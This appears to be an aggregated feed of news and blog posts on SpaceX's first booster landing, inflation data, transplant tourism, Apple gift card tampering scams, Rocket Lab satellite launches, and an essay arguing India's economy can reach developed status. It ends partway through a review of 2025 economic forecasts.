The New GOP Survey Analysis of Americans Overall, Today’s Republican Coalition, and the Minorities of MAGA (figure 18 is a doozy; also, this is the Manhattan Institute’s attempt to rehabilitate ‘old school’ conservatives, but still interesting)
An Indigenous author felt compelled to cancel her Utah appearance after this university gave her a list of banned DEI words (but cancel culture something something)
The Supreme Court Is About to Hand Trump Insidious New Powers
Trump appears to doze off in another meeting. It was the second time in a month Trump has appeared to struggle to stay awake as his advisers have spoken to cameras about the administration’s initiatives.

The inside story of SpaceX’s historic rocket landing that changed launch forever

On Dec. 21, 2015, SpaceX launched the Orbcomm-2 mission on an upgraded version of its Falcon 9 rocket. That night, just days before Christmas, the company successfully landed the first stage for the first time. The story behind this remarkable achievement is nowhere more fully told than in the book Reentry, authored by Ars Technica Senior Space Editor Eric Berger and published in 2024. To mark the tenth anniversary, Ars is reprinting a slightly condensed chapter from the book that tells the inside story of this landing. The chapter begins in June 2015 with a tragedy, the disintegration of a Falcon 9 rocket carrying the CRS-7 cargo supply mission for NASA. It was the first time a Falcon 9 had been lost in flight.

Seconds after the Dragon-bearing Falcon 9 rocket broke apart over the Atlantic Ocean, David Giger shouted into his headset, “Dragon is alive!”

In the decade since he joined the company straight out of graduate school, Giger had taken on management of the entire Dragon program, reporting directly to Elon Musk. He watched the CRS-7 launch from mission control in Hawthorne not with a particular role, but rather providing a leadership presence. Giger could sense the Dragon mission team, mostly younger engineers, freeze up as video showed debris from the rocket showering back to Earth. A lot of the people involved in the hairy early flights of Dragon, including the C2 mission in 2012, had moved on to other positions at SpaceX or departed.

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NASA finally—and we really do mean it this time—has a full-time leader

Jared Isaacman, a pilot and financial tech billionaire, has commanded two groundbreaking spaceflights, including leading the first private spacewalk.

But his most remarkable flying has occurred over the last year. And on Wednesday, he stuck the landing by earning formal Senate approval to become NASA’s 15th administrator.

With a final tally of 67 to 30, Wednesday’s Senate confirmation came 377 days after President Trump first nominated Isaacman to serve as NASA administrator. Since that time, Isaacman had to navigate the following issues:

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Cleveland Fed: Median CPI increased 0.1% and Trimmed-mean CPI increased 0.1% in November

The Cleveland Fed released the median CPI and the trimmed-mean CPI.

According to the Federal Reserve Bank of Cleveland, the median Consumer Price Index rose 0.1% in November. The 16% trimmed-mean Consumer Price Index increased 0.1%. "The median CPI and 16% trimmed-mean CPI are measures of core inflation calculated by the Federal Reserve Bank of Cleveland based on data released in the Bureau of Labor Statistics’ (BLS) monthly CPI report".

Inflation Measures Click on graph for larger image.

This graph shows the year-over-year change for these four key measures of inflation. 

On a year-over-year basis, the median CPI rose 3.1% (down from 3.5% YoY in September), the trimmed-mean CPI rose 2.9% (down from 3.3%), and the CPI less food and energy rose 3.0% (down from 3.2%). 

Core PCE is for September was up 2.8% YoY, down from 2.9% in August.  

Extreme Fire Weather Concerns; Strong Winds for West and East

The national politics of deceased organ donation

 The U.S. transplant system is relatively open to foreign patients, and the NYT reports with some concern the number of foreign citizens receiving scarce organs from deceased donors, sometimes paying full list price to the hospitals involved.  One question I have that I haven't seen addressed in discussions of this type is how many foreign citizens who happen to die while visiting the US become deceased organ donors?

Here's the NYT:

Hospitals Cater to ‘Transplant Tourists’ as U.S. Patients Wait for Organs
International patients can bring a hospital as much as $2 million for a transplant. In recent years, they have typically gotten organs faster than U.S. patients
. By Brian M. Rosenthal and Mark Hansen

  "In the past dozen years, more than 1,400 patients from abroad received a transplant in the United States after traveling specifically for the procedure. That was a small fraction of all U.S. transplants, and most transplant centers did not operate on international patients at all.

"But The Times found that a handful of hospitals are increasingly catering to overseas patients, who make up an ever-larger share of their organ recipients: 11 percent for hearts and lungs at the University of Chicago; 20 percent for lungs at Montefiore Medical Center in the Bronx; 16 percent for lungs at UC San Diego Health; 10 percent for intestines at MedStar Georgetown University Hospital in Washington; and 8 percent for livers at Memorial Hermann-Texas Medical Center in Houston.

"In many countries, this would be illegal. World leaders agreed in 2008 to fight so-called transplant tourism, and most nations do not provide organs to overseas patients. Yet the United States has long allowed it. The policy has drawn criticism in the past, such as when organs went to Saudi royals and a Japanese crime boss. 

...

"Dr. Mark Fox, a former chair of the transplant system’s ethics committee, said the findings were troubling, especially because overseas patients do not contribute to America’s pool of donated organs. “The unfortunate reality is that we don’t have enough organs,” he said. “When people jet in, get an organ and jet home, it’s a problem. It’s not fair.” 

 ##########

I'm reminded of this 2018 article which expressed a similar concern :

Delmonico, F. L., Gunderson, S., Iyer, K. R., Danovitch, G. M., Pruett, T. L., Reyes, J. D., & Ascher, N. L. (2018). Deceased donor organ transplantation performed in the United States for noncitizens and nonresidents. Transplantation, 102(7), 1124-1131. 

Abstract: "Since 2012, the Organ Procurement and Transplantation Network (OPTN)/United Network for Organ Sharing (UNOS) has required transplant centers to record the citizenship residency status of patients undergoing transplantation in the United States. This policy replaced the 5% threshold of the non–US citizen/nonresidents (NC/NR) undergoing organ transplantation that could result in an audit of transplant center activity. Since April 1, 2015, the country of residence for the NC/NR on the waitlist has also been recorded. We analyzed the frequency of NC/NR deceased donor organ transplants and waitlist registrations at all US transplant centers by data provided by UNOS for that purpose to the UNOS Ad Hoc International Relations Committee. During the period of 2013 to 2016, 1176 deceased donor transplants (of all organs) were performed in non–US citizen/non–US resident (NC/NR) candidates (0.54% of the total number of transplants). We focused on high-volume NC/NR transplant centers that performed more than 5% of the deceased donor kidney or liver transplants in NC/NR or whose waitlist registrants exceeded 5% NC/NR. This report was prepared to fulfill the transparency policy of UNOS to assure a public trust in the distribution of organs. When viewed with a public awareness of deceased donor organ shortages, it suggests the need for a more comprehensive understanding of current NC/NR activity in the United States. Patterns of organ specific NC/NR registrations and transplantations at high-volume centers should prompt a review of transplant center practices to determine whether the deceased donor and center resources may be compromised for their US patients.

They note that " a noncitizen/nonresident could be a foreign student or businessperson traveling to the United States, whereas an undocumented individual living in the United States would also be a noncitizen/resident." 

Japan estimate of the day

At current second-hand market prices, says a new report, Japan’s “hidden asset” in terms of national reserves of things — defined as potentially resellable household objects that have lain unused for over a year — is worth around $580bn.

The dust-gathering contents of Japan’s cupboards, attics and garages, by that estimate, are worth roughly the same as the combined market capitalisation of the country’s most globally known corporate names: Toyota, Sony and SoftBank.

That’s an impressive stash, equivalent to roughly $4,600 for every person in Japan…

Over the past few years, Japan has become a uniquely attractive global magnet for buyers of second-hand goods — from Hermès bags, Rolexes and limited edition Nike Airs to Pokémon trading cards, vintage video games, golf clubs, fishing rods and rare Licca dolls. An increasingly powerful appeal for the tens of millions of visitors the country now draws annually is not just the traditional shopping, but the vibrant, over-the-counter trade in used items.

The aging of Japan, the fastidiousness of many Japanese, and the cheap yen are two factors behind these developments.  Here is more from Leo Lewis at the FT.

The post Japan estimate of the day appeared first on Marginal REVOLUTION.

       

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GCDB’s Guide to Gift Card Tampering Scams

Gift Card Database (GCDB) has a guide to spotting tampered gift cards:

Whilst it may seem unusual, you should tear open this version of Apple gift card before you purchase it so that you can inspect the redemption code. Look for missing or scratched off characters (it may be as subtle as changing an L to look like an I).

If you’re satisfied that the redemption code is legible and undamaged, you can purchase the gift card by scanning the barcode on the other side. If staff question your decision to open it first, calmly explain why you were checking it and refer them to the image above if it helps.

The one major downside of this precaution is that it requires you to basically destroy the gift card packaging so if it’s intended as a present you may just have to give them the smaller inner card instead. Still, it’s better to be safe than sorry.

I’m not bashful, but I’d be very uncomfortable opening gift cards before I purchased them. The whole point of this is that gift card scams are on the rise. If I saw someone opening gift cards in-store before purchasing them, I’d think they were shameless scammers. If you need to destroy the retail packaging for a gift card to feel certain it hasn’t been tampered with, the whole system seems fundamentally broken. (And just eyeballing the redemption code doesn’t prove it hasn’t been tampered with.)

 ★ 

Are Apple Gift Cards Safe to Redeem?

You will recall the Apple Account fiasco of Paris Buttfield-Addison, whose entire iCloud account and library of iTunes and App Store media purchases were lost when his Apple Account was locked, seemingly after he attempted to redeem a tampered $500 Apple Gift Card that he purchased from a major retailer. I wrote about it, as did Michael Tsai, Nick Heer, Malcom Owen at AppleInsider, and Brandon Vigliarolo at The Register. Buttfield-Addison has updated his post a few times, including a note that Executive Relations — Apple’s top-tier support SWAT team — was looking into the matter. To no avail, at least yet, alas.

Adam Engst, writing at TidBITS today:

There is one way the Apple community could exert some leverage over Apple. Since innocently redeeming a compromised Apple Gift Card can have serious negative consequences, we should all avoid buying Apple Gift Cards and spread the word as widely as possible that they could essentially be malware. Sure, most Apple Gift Cards are probably safe, but do you really want to be the person who gives a close friend or beloved grandchild a compromised card that locks their Apple Account? And if someone gives you one, would you risk redeeming it? It’s digital Russian roulette.

I suspect that one part of Buttfield-Addison’s fiasco is the fact that his seemingly problematic gift card was for $500, not a typical amount like $25, but that’s just a suspicion on my part. We don’t know — because key to the Kafka-esque nature of the whole nightmare is that his account cancellation was a black box. Not only has Apple not yet restored his deactivated Apple Account, at no point in the process have they explained why it was deactivated in the first place. We’re left to guess that it was related to the tampered gift card and that the relatively high value of the card in question was related. $500 is a higher value than average for an Apple gift card, but that amount is less than the average price for a single iPhone. Apple itself sets a limit of $2,000 on gift cards in the US, so $500 shouldn’t be considered an inherently suspicious amount.

The whole thing does make me nervous about redeeming, or giving, Apple gift cards. Scams in general seem to be getting more sophisticated. Buttfield-Addison says he bought the card directly from “a major brick-and-mortar retailer (Australians, think Woolworths scale; Americans, think Walmart scale)”. Until we get some clarity on this I feel like I’d only redeem Apple gift cards at an Apple retail store, for purchases not tied to my Apple Accounts. (I’ve still got two — one for iCloud, one for media purchases.)

In addition to the uncertainty this leaves us with regarding the redemption of Apple gift cards, I have to wonder what the hell happens to these Apple Accounts that are deactivated for suspected fraud. You would think that once escalated high enough in Apple’s customer support system, someone at Apple could just flip a switch and re-activate the account. The fact that Buttfield-Addison’s account has not yet been restored, despite the publicity and apparent escalation to Executive Relations, makes me think it can’t be restored. I don’t know how that can be, but it sure seems like that’s the case. Darth Vader’s “And no disintegrations” admonition ought to be in effect for something like this. I have the sinking feeling that the best Apple is able to do is something seemingly ridiculous, like refund Buttfield-Addison for every purchase he ever made on the account and tell him to start over with a new one.

My other question: Were any humans involved in the decision to deactivate (disintegrate?) his account, or was it determined purely by some sort of fraud detection algorithm?

Update: Very shortly after I posted the above, Buttfield-Addison posted an update that his account was successfully restored by the ninja on Apple’s Executive Relations team assigned to his case. That’s great. But that still leaves the question of how safe Apple gift cards are to redeem on one’s Apple Account. It also leaves the question of how this happened in the first place, and why it took the better part of a week to resolve.

 ★ 

Rocket Lab launches 4 novel DiskSat satellites for U.S. Space Force, NASA

An overhead view of Aerospace’s DiskSat during launch preparations. Image: Rocket Lab

A Rocket Lab Electron rocket launched four novel satellite buses minutes after midnight from Virginia on Thursday.

The 20th launch of an Electron rocket was dubbed ‘Don’t Be Such A Square’ by the company and carried onboard the Space Test Program (STP)-S30 mission. Liftoff from Launch Complex 2 at the Mid-Atlantic Regional Spaceport, Wallops Island, Virginia, occurred at 12:03 a.m. EST (0503 UTC). The four satellite buses, called DiskSats, were developed by The Aerospace Corporation and funded by NASA’s Small Spacecraft and Distributed Systems program.

During a roughly 10-minute deployment sequence, the four spacecraft were deployed into a circular low Earth orbit at 550 km (342 mi), wrapping up about an hour and eight minutes after liftoff. They are now under the management of the U.S. Space Force’s Space Systems Command’s (SSC) System Delta 89 Capability Development Branch.

“This launch is another proud moment in Rocket Lab’s long history of successful missions for defense, national security, and commercial space users,” Sir Peter Beck, Rocket Lab founder and CEO, said in a statement.

The STP-S30 mission was awarded to Rocket Lab in April 2024 under the Orbital Services Program (OSP-4) contract. The mission was pulled forward in the launch manifest, launching roughly five months ahead of schedule.

“We are immensely proud of this collaboration with Rocket Lab, NASA, Aerospace, and SYD 80’s Rocket Systems Launch Program (RSLP). Their exceptional teamwork and dedication have made this achievement possible,” said USSF Lt. Col. Brian Shimek, Director, Department of Defense, Space Test Program. “Proving these advanced technologies in the space environment is a critical step towards their integration into future operational Space Force systems, ensuring our nation maintains its edge in space.”

The Aerospace Corporation said the four DiskSats have a fiber composite main structure that is one-meter in diameter and 2.5 cm thick. Two of the satellites will remain in the 550 km orbit, but the other two will demonstrate their ability to operate at lower altitudes, referred to as Very Low Earth Orbit (VLEO).

The satellite buses also include secondary experiments onboard “ranging from communications to space environment sensing,” SSC said in a prelaunch statement. Those are managed but the Space Experiment Review Board, which is part of the Department of Defense’s Space Test Program.

“STP stands at the forefront of ensuring continued U.S. space superiority. By providing reliable and responsive access for experimental payloads, we accelerate the development and deployment of critical technologies, maintaining our strategic advantage in an increasingly contested space domain,” Shimek said.

A Rocket Lab Electron rocket lifts off from Launch Complex 2 at at the Mid-Atlantic Regional Spaceport (MARS) on Wallops Island, Virginia on Dec. 18, 2025. The rocket flew the STP-S30 mission for the U.S. Space Force’s (USSF) Space Systems Command (SSC). Image: Rocket Lab

HawkEye 360 expands defense footprint with acquisition of Innovative Signal Analysis

Deal backed by $150 million Series E equity and debt round

The post HawkEye 360 expands defense footprint with acquisition of Innovative Signal Analysis appeared first on SpaceNews.

Congress’ SBIR standoff is slowing Space Force innovation — it must act now

At a time when space is unmistakably a contested warfighting domain, the United States risks slowing its own progress not because of a lack of technology or talent, but because Congress has failed to act on renewing authority for critical small business innovation funding. Senior Space Force acquisition officials have publicly warned that the lapse […]

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2025 was “almost a watershed year” for the Space Development Agency

Dr. Gurpartap "GP" Sandhoo

In this episode of Space Minds, host Mike Gruss talks with Dr. Gurpartap “GP” Sandhoo about what he calls "almost a watershed year" for the Space Development Agency.

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The Army’s contribution to joint space operations

Two British Army Special Operations Brigade soldiers, left, and a Soldier with 18th Space Company, 1st Space Brigade, right, guard a small tactical vehicle equipped with a miniaturized tactical space system during Project Convergence Capstone 4 experimentation at White Sands Missile Range, Feb. 28, 2024. Credit: United States Army Space and Missile Defense Command; photo by Brooke Nevins

Recent analysis by Reeves in the Mitchell Institute’s “Charting a Path to Space Superiority: The Cross-Domain Imperative” identifies the need for centralized command and control (C2) of counterspace capabilities under U.S. Space Command to ensure unity of effort. However, Reeves’s critique of the United States Army’s development of counterspace capabilities fundamentally misunderstands the Army’s role […]

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Space community celebrates Isaacman confirmation

Isaacman

The space community welcomed the confirmation of Jared Isaacman as NASA’s next administrator, expressing hope he can lead the agency forward and relief that a long confirmation process is over.

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I think India can do it

Photo by Taya Yako on Unsplash

In 2004, The Economist predicted that India’s economic growth rate would overtake China’s in two decades. In 2010, in an article called “India’s surprising growth miracle”, they shortened that timeline dramatically, declaring that India might overtake China in terms of GDP growth as early as “2013, if not before”.

In the end, it took two years longer. Since 2015, India has been the world’s fastest-growing major economy, taking the crown from China:

Source: @aravind

As The Economist noted, this is partly due to India’s more rapid population growth. If we want to look at living standards, we should look at per capita GDP (PPP). Here, India didn’t overtake China until after the pandemic:

India continues to turn in strong growth performances. In the third quarter of this year, it grew at 8.2%, up from 7.8% the previous quarter:

India’s population is growing at a little less than 1% a year, so this roughly corresponds to a per capita growth rate of around 7.2% or 7.3%.

That sort of growth rate is less than South Korea or China managed during their heydays of industrialization. From 1991 to 2013, China’s per capita GDP (PPP) grew at an annualized rate of 9.4%. But 7.2% would still be enough to utterly transform India in just a short space of time.

According to the IMF, India has a per capita GDP (PPP) of $12,101 as of 2025. Thirteen years of growth at 7.2% would bring that to $29,878 — a little higher than where China is today. That’s interesting, because India’s big economic reforms happened in 1991 — twelve years after China’s. Two decades of 7.2% growth would bring India to $48,609 — about as rich as Hungary or Portugal today.

In other words, if India keeps growing as fast as it’s growing right now, it will be a developed country before kids born today are out of college.

Consider even the more modest scenario in which India grows at the same rate it’s been growing over the past decade — about 5.4% in real per capita PPP terms. Fifteen more years of that growth rate would bring India to $26,633 — about where China and Thailand are today. Twenty years, and it would be $34,644 — about the same as Chile.

This is all a big “if”, of course. When I threw out some optimistic growth scenarios on X, I was mercilessly mocked:

But this critique is overdone. Yes, it’s likely that India, like China, and like every other rapidly industrializing country, will experience a slowdown in growth as it gets richer. But growth could also accelerate for a while. China’s growth slowed in the 1990s, but then accelerated in the 2000s after it joined the WTO:

Source: World Bank

Growth is not always a smooth deceleration; sometimes it goes up for a while. And if Indian policy improves, it could see growth accelerate — or at least remain high as the country gets richer.

And India is still experimenting with policy reforms. Just the other day, it rolled out a major reform of its sclerotic labor laws:

India implemented overhauled labor laws that aim to attract investments and make it easier for companies to do business in the South Asian nation…The laws, grouped in four separate codes, replace archaic legislation and will give flexibility to companies to hire and fire workers, enhance safety standards and extend guaranteed social security benefits…

India’s maze of labor regulations, both at federal and state level, are considered to be rigid and complex, forcing companies to either remain small, employ fewer workers or use capital-intensive methods of production. The latest attempt is expected to make the rules uniform across the country[.]

Among other things, the new law allows women to work night shifts. This has the potential to help address India’s glaringly low female labor force participation rate. Most manufacturing miracles in history started with women migrating from farms to cities to work in labor-intensive light industry (garments, toys, electronics, etc.).1 If India manages to unlock this classic labor resource, it could not only give India a stronger manufacturing base, but also improve the country’s oddly low rate of urbanization.

I don’t mean to claim that this labor law reform will propel India to two decades of 7% growth. By itself, it won’t. But it shows that India’s government is able to push through pro-growth reforms over the objections of incumbent stakeholders. And it shows that the government cares enough about growth to do this.

There’s a theory out there, espoused by A.O. Hirschman back in the 1950s, that economic development creates political support for further development. Once the people of a country realize that rapid economic growth is possible, they may get used to the idea of their living standards increasing noticeably every year. On top of that, many elites become invested in the institutions of growth — owning construction companies, banks, and so on — and thus it’s in their interest for growth to continue.

Basically, this is the idea that Indians are not going to look back at two decades of fairly rapid growth — growth that has brought the country out of desperate poverty into lower-middle-income status — and conclude that this was enough. Instead, they may be willing to do the hard work of overruling vested interests — like the labor groups who resisted the recent labor law changes — in favor of reforms that promise to keep the economic party going.

Which other reforms would be key? For one thing, India needs to reform its financial system in order to help its companies scale up. The country currently has a very high cost of capital, meaning it’s hard for companies to borrow and grow. Fixing bond markets is one idea here, but most countries that experience economic growth “miracles” rely heavily on bank finance instead of on bond markets.

Beyond finance and harnessing rural women’s labor, there’s also probably a lot more India can do to boost their manufacturing sector. In a Noahpinion guest post this summer, Prakash Loungani and Karan Bhasin wrote down some ideas for how to do this:

In a nutshell, their suggestions are:

  1. Repeal regulations that specifically stop large manufacturing companies from firing employees

  2. Repeal local laws that make it hard to convert agricultural land to industrial use

  3. Conduct more trade agreements, e.g. with Europe

  4. Reduce red tape for manufacturers

This brings me to another reason I’m bullish on India is that there’s still a huge amount of room for manufacturing to grow. Right now, despite being the world’s fifth-largest manufacturer, India is still a service-intensive economy — manufacturing is only 13% of the country’s GDP. This has led some people to conclude that India just isn’t a country that can make things, and that they should stick to services. But recently there have been some hopeful signs for Indian industry.

For one thing, manufacturing has already been key to India’s rapid growth over the past few years. Menaka Doshi points out that “corporate investment announcements between April [and] September are at a decade high of 15.1 trillion rupees, led by manufacturing firms.” And India’s exports, especially of electronics, are rising:

India clocked the highest goods exports for November in 10 years. Two factors seem to have helped the country counter Trump’s 50% tariff. Buoyant electronics exports, of which Apple iPhones are expected to be the largest chunk. And export diversification, including to China…November trade data…shows India’s exports rose to $38.13 billion — up 19.4% from a year earlier, the biggest jump since June 2022…

Earlier this year, Apple expanded iPhone production in India to fulfill the majority of US demand.

Apple, the world’s best electronics company, is steadily moving more iPhone production to India. That shift, which has been happening since the pandemic, has been helping to drive an Indian electronics export boom:

Source: CEIC

The boom is still in its infancy, but this just gives it more room to grow. Right now, India’s electronics exports are mostly phones, but this just gives India the opportunity to expand into assembling computers and other electronics.

And while electronics assembly is the lowest part of the value chain, India may be climbing that ladder already. There are also reports that Apple is considering making some of the components of the iPhone in India as well:

Apple is in preliminary talks with some Indian chip manufacturers to assemble and package the component for the iPhone, said people with knowledge of the matter, a move that would mark a key step up in the value chain for vendors to the tech giant…It’s the first time Apple is evaluating the prospect of having certain chips assembled and packaged in India[.]

Components — mostly semiconductors of various sorts — represent the bulk of the value in an iPhone or other piece of modern electronics. Packaging and testing chips is a much higher-value activity than simply slapping components together into a final product.

In fact, India has recently focused on promoting the chip packaging and testing industry, often by soliciting foreign direct investment in the sector. This was how Malaysia became an electronics powerhouse, helping to propel that country to a GDP (PPP) of almost $44,000. It’s a very good strategy for India.

In any case, India just looks like a very promising growth story to me. The country has already been growing at a decently rapid clip, and its income levels are still low enough that it has lots of room to catch up with the technological frontier. It has shown that it still has the political will to push through major reforms, and its manufacturing sector is improving and has plenty of space to grow. It has a huge domestic market that will help its companies achieve scale. It has plenty of elite engineers and such. And due to its democracy and general friendliness, it’s looking like a more attractive production base than China for many multinational companies like Apple.

So what’s the bear case here? What are the key arguments that India can’t grow to become a comfortably upper-middle-income country over the next two decades?

One common idea, expressed by former Singaporean Prime Minister Lee Kuan Yew, is that India will always be held back by internal fragmentation. Lee called India “not a real country”, “32 separate nations”, and “many nations along a British railway line”.

Linguistic fragmentation is certainly a challenge for India. But the country’s regions show no inclination to break away. And federalism can be a strength, too. There was an interesting story in The Economist recently comparing the economic growth models of Indian states Gujarat and Tamil Nadu. Gujarat has focused on building infrastructure, and has pursued capital-intensive industries like chemical manufacturing; Tamil Nadu has focused on improving education and health, and has pursued labor-intensive industries like electronics assembly.

But while The Economist pits these models against each other, the truth is that it’s probably good for a country to have both. A complex, diversified economy tends to grow faster than one that focuses on a single narrow range of industries. If India’s states find different paths to success, that could make the Indian economy more resilient in some ways than China, which is currently discovering the downsides of having a strong government that tells every province to make the same things.

Another bear case for India is the idea that China will throttle India’s rise. The reigning industrial powers of the 20th century — the U.S., Europe, Japan, and Korea — were remarkably nice to China during its early industrialization, cheerfully opening their markets to Chinese products and setting up joint ventures to teach Chinese people how to make anything and everything.

But China, the current reigning industrial power, is unlikely to be so nice to India. As expert China-watcher Rush Doshi explains, China’s current leadership wants to monopolize global manufacturing now and for all time. That explains why as Indian electronics manufacturing has ramped up, China has tried to block its engineers from going to India to train their replacements. I wrote a post about this back in March:

But I don’t believe this will cripple India’s growth model. China isn’t the only country that makes things; there are plenty of engineers from South Korea, Japan, Taiwan, the U.S., and Europe who can get Indians started making things. And as Xi Jinping’s regime continues to be repressive, and China’s growth continues to slow, lots of Chinese engineers will find ways to move to a country with more rapid growth and more personal freedom.

My guess is that the most important reason for widespread skepticism about India’s growth prospects is something that most people are too polite to say, except behind the shield of anonymity on a platform like X. A lot of people just don’t believe that Indians, as a people, have what it takes to build a modern high-tech economy. When I express optimism about India’s growth, someone always chimes in to say that Indians have low national IQ:

Let us set aside for a moment the question of whether national IQ studies are reliable. As the more circumspect of the two tweets above notes, cognitive ability and economic success are a two-way street. Though cognitive ability probably does boost growth, the reverse is also true — as countries get richer, they get better nutrition, more schooling, reduced pollution, and air conditioning, all of which contribute to better cognitive performance.

I view these discussions of IQ as a stand-in for something deeper — a suspicion that countries made up of people who aren’t of European or East Asian descent simply aren’t capable of building a wealthy, high-tech society. Although people of Indian descent have succeeded spectacularly in countries from the U.S. to Singapore to the UAE, no country in South Asia has reached upper-middle-income status — India, Pakistan, Sri Lanka, Bangladesh, Nepal, and Bhutan are all still pretty poor. So because none of these countries has done it, a lot of people just assume that none of them can do it.

If you think about it, that assumption doesn’t make a lot of sense. Some country always has to be the first in its region to industrialize. Before Japan beat Russia in a war in 1905, Europeans didn’t think East Asian countries could become modern industrialized powers. And it wasn’t until the success of Japan’s auto and machinery industries in the 1970s that the world came to respect East Asian industrial prowess.

Nowadays, no one thinks it’s odd or unusual if an East Asian country gets rich; in fact, people suspect it. But there had to be a first country in the region to break old stereotypes and assumptions, and that country was Japan.

India is a much bigger country than Japan, which presents a challenge. It seems intuitively harder for a giant country like India to be the first in its region to break the old stereotypes and wow the world. But if you believe economists’ estimates, India is now about as rich a country as Japan was in 1962. The task is not insurmountable.

Call me crazy, but I think India can do it.

Updates

Commenter Jack Lowenstein writes:

As a long time India bull and former professional investor in listed equities there, I would add three points:

1) a positive byproduct of the high cost of capital is that ROEs are also high, and also that because debt capital is scarce, banks remain filters, not funnels. Nor does the Indian government coerce capital into SOEs.

2) fraud and corruption are often posited as negatives for the investment and growth story. However all though these are easy to find, I suggest India’s greater transparency compared to China, as made them less universal.

3) while many countries have great technical universities, I wonder if any have the level of competitive entry as the Indian Institutes of Technology. The nearest equivalent I can think of is French engineering schools.

(1) is an important point; at this early level of development, India needs to worry less about allocating resources and more about mobilizing resources.

(2) is interesting, because there’s some work claiming that China’s type of corruption — like America’s in the late 1800s — gave government officials an unofficial equity stake in development, and therefore encouraged development. It was “corruption”, but the kind of corruption that led to aligned incentives.

Meanwhile, India just passed another big reform package — this one about finance:

[L]awmakers passed a bill this week allowing up to 100% foreign ownership of insurance firms, bolstering an industry long viewed as under-penetrated and capital-starved. Regulators have also overhauled rules for banks, pension funds and capital markets as they aim to shift savings from idle assets such as gold and property toward equities, bonds and long-term investments to finance factories and infrastructure.

All these reforms come as Prime Minister Narendra Modi and his administration want to make India a developed economy by 2047, a goal that requires economic growth of about 8% per year[.]

I’m especially excited about the banking reform, whose goal is creating larger banks while also increasing the number of banks in the country. Of all the reforms in the package, this one seems the most likely to have a major impact.

Note the importance of growth targets in pushing through this reform. If India hadn’t grown at 8% in some recent years, it seems unlikely the government would feel confident in setting 8% as a growth target. This suggests that growth is creating expectations for further growth, which is creating momentum for policy reform.


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1

My favorite book about this is Leslie Chang’s Factory Girls, which follows several of these women in China and chronicles the country’s growth through their eyes.

Thursday assorted links

1. Andrew Batson best books he read in 2025.

2. Demis on AI.

3. Dean Ball on AGI and the programmer’s mentality.

4. New data on long-term warming trends.

5. A possible Netflix adaptation of Caro’s The Power Broker?  And maybe just maybe a Villaneuve film of Rendezvous with Rama?

6. Do lower mortgage rates in fact benefit first-time home buyers?

7. Henry Oliver on Kiran Desai.

8. Australia to “crack down” on hate speech (NYT).

9. Amanda Taub at the NYT covers dogs, babies, and Taiwan.

10. That was then, this is now: “As much as a quarter of the active US navy is now in the Caribbean, according to one estimate.” (FT)

The post Thursday assorted links appeared first on Marginal REVOLUTION.

       

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Review: Ten Economic Questions for 2025

At the end of each year, I post Ten Economic Questions for the following year (2025). I followed up with a brief post on each question. Here is review (we don't have all data yet - and some data is still delayed due to the government shutdown).  I've linked to my posts from the beginning of the year, with a brief excerpt and a few comments.

I don't have a crystal ball, but I think it helps to outline what I think will happen - and understand - and change my mind, when the outlook is wrong.  As an example, when the pandemic hit, I switched from being mostly positive on the economy to calling a recession in early March 2020.

Here were my questions for 2025 (posted in December 2024).  The analysis for the housing related questions were posted in the newsletter, and the other questions on this blog.

10) Question #10 for 2025: Will inventory increase further in 2025?
"“Time” will likely lead to more new listings in 2025. Mortgage rates will remain well above the pandemic lows, and new listings will likely be depressed again in 2025 compared to pre-pandemic levels.

The bottom line is inventory will probably increase year-over-year in 2025. However, it still seems unlikely that inventory will be back up to the 2019 levels."
Altos Year-over-year Home InventoryThis was correct on all points.

Here is a graph from Altos Research showing active single-family inventory through December 12, 2025.

The red line is for 2025.  The black line is for 2019.  Note that inventory is up 14% compared to the same week last year.

However, inventory is still below pre-pandemic normal levels. 

9) Question #9 for 2025: What will happen with house prices in 2025?
"I don’t expect national inventory to reach 2019 levels but much of the remaining gap between 2019 and 2024 levels will likely close in 2025. If existing home sales remain fairly sluggish, we might see national months-of-supply above 5 months in mid-2025.

That would likely lead to mostly flat prices nationally in 2025. However, I expect some areas - with higher months-of-supply - will see price decline in 2025."
Case-Shiller House Prices IndicesThis was correct.

As of September, the National Case-Shiller index SA was up 1.3% year-over-year. (Case-Shiller for October will be released December 30th).

The FHFA index was up 1.7% YoY in September, and the Freddie Mac index was up 1.0% in October.

 The ICE HPI was up 0.8% in November.

Mostly flat prices year-over-year and no crash or surge in house prices in 2025.  

8) Question #8 for 2025: How much will Residential investment change in 2025? How about housing starts and new home sales in 2025?
"My guess is multi-family starts will decline further in 2025, likely down 5% or so year-over-year (less than the previous 2 years). Single family starts will likely be mostly unchanged year-over-year, putting total starts down slightly.

I expect New Home sales to be up around 5% YoY."
NOTE: The most recent data is for August due to the government shutdown, so this is very uncertain.
Multi Housing Starts and Single Family Housing Starts
This graph shows single and multi-family housing starts since 2000.

As of August, single family starts were down 4.9% year-to-date (YTD) compared to the same period in 2023.  Single family starts were a little weaker than expected.

Multi-family starts were up 17.5% YTD (much stronger than expected).

Total starts were up 0.7% YTD.
New Home Sales 2023 2024
The next graph shows new home sales as of August (Sales reports for September, October and November have not been scheduled yet).

New home sales were down 1.4% YTD through August. 

This is still very unclear.  

I expect multifamily starts to be weaker later in the year (rents remain under pressure, and architects have reported weak billings for multifamily for 40 consecutive months.

7) Question #7 for 2025: How much will wages increase in 2025?
"Clearly wage growth is slowing and I expect to see some further decreases in both the Average hourly earnings from the CES, and in the Atlanta Fed Wage Tracker.  My sense is nominal wages will increase close to mid-to-high 3% range YoY in 2025 according to the CES."
WagesThis was correct.

The graph shows the nominal year-over-year change in "Average Hourly Earnings" for all private employees from the Current Employment Statistics (CES).  

There was a huge increase at the beginning of the pandemic as lower paid employees were let go, and then the pandemic related spike reversed a year later.

Excluding the pandemic spike, wage growth peaked at 5.9% YoY in March 2022 and declined to 3.5% in November 2025.

6) Question #6 for 2025: What will the Fed Funds rate be in December 2025?
"With inflation still above target over the last 6 months, my guess is there will be 1 or 2 rate cuts in 2025."
There were 3 rate cuts in 2025 with the Fed Funds rate target range at 3-1/2 to 3-3/4 percent in December 20254. 

5) Question #5 for 2025: What will the YoY core inflation rate be in December 2025?
"In general, I'm ignoring policy changes ... tariffs could be implemented quickly and depending on the policy this could push up the inflation rate.

My guess is core PCE inflation (year-over-year) will decrease in 2025 (from the current 2.8%) but still be above the Fed's 2% target by Q4 2025."
This data has also been delayed.  

According to the September Personal Income and Outlays report released in early December, the September PCE price index increased 2.8 percent year-over-year, and the September PCE price index, excluding food and energy, increased 2.8 percent year-over-year. 

4) Question #4 for 2025: What will the participation rate be in December 2025?
